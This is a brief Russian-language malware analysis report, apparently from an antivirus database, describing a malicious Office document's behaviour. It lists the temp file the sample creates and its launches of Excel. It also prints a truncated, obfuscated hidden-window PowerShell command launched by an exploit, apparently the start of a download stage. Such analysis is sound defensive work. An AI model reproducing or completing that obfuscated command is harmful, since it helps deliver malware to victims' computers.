Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w h $asciiChars='27%28%26%27%2B%27%28%47%27%2B%27%43%27%2B%27%5E%23%5E%27%2E%72%65%70%6C%61%63%65%28%27%5E%23%5E%27%2C%27%4D%27%29%2B%27%20%2A%57%2D%27%2B%27%4F%2A%29%27%2B%20%27%4E%65%27%2B%2...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{659d51f6-d038-4bd3-91f6-a08eef473856}.tmp
Другое
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
